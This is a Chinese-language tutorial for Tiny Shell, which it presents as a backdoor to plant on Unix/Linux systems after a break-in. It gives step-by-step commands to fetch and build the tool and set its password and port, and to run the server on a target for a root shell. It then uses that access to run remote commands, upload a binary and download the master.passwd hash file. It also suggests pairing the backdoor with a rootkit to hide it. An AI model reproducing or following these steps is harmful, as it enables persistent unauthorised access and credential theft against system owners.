Tiny Shell使用说明书
Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。
一,前言
随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了。通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而 Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。
二,应用
1,Tiny Shell简介 Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。
2,Tiny Shell应用 测试环境: 本地:OpenBSD 3.4 IP:192.168.0.40 目标:FreeBSD 4.9 STABLE IP:192.168.0.20 首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。 #fetch http://www.ringz.org/tsh-0.6.tgz #tar zxvf tsh-0.6.tgz #cd tsh-0.6 #ls ChangeLog README aes.h pel.h sha1.h tsh.h Makefile aes.c pel.c sha1.c tsh.c tshd.c #vi tsh.h char *secret = "replace with your passWord"; //连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码 if( passWord == NULL ) { /* 1st try, using the built-in secret key */ ret = pel_client_init( server, secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid, so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重点在这里:ret = pel_client_init( server, secret ); 把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。 #define SERVER_PORT 7586 //后门简听的端口,任意修改 if( argc == 5 && ! strcmp( argv[2], "get" ) ) { action = GET_FILE; } if( argc == 5 && ! strcmp( argv[2], "put" ) ) { action = PUT_FILE; } //该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传。当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, "gethostbyname failed.n" );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根据你的系统做相应的选择,10秒钟就编译好了(如图1)。 然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname –a命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了(如图2)。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。 现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为 “./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。
小结
Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。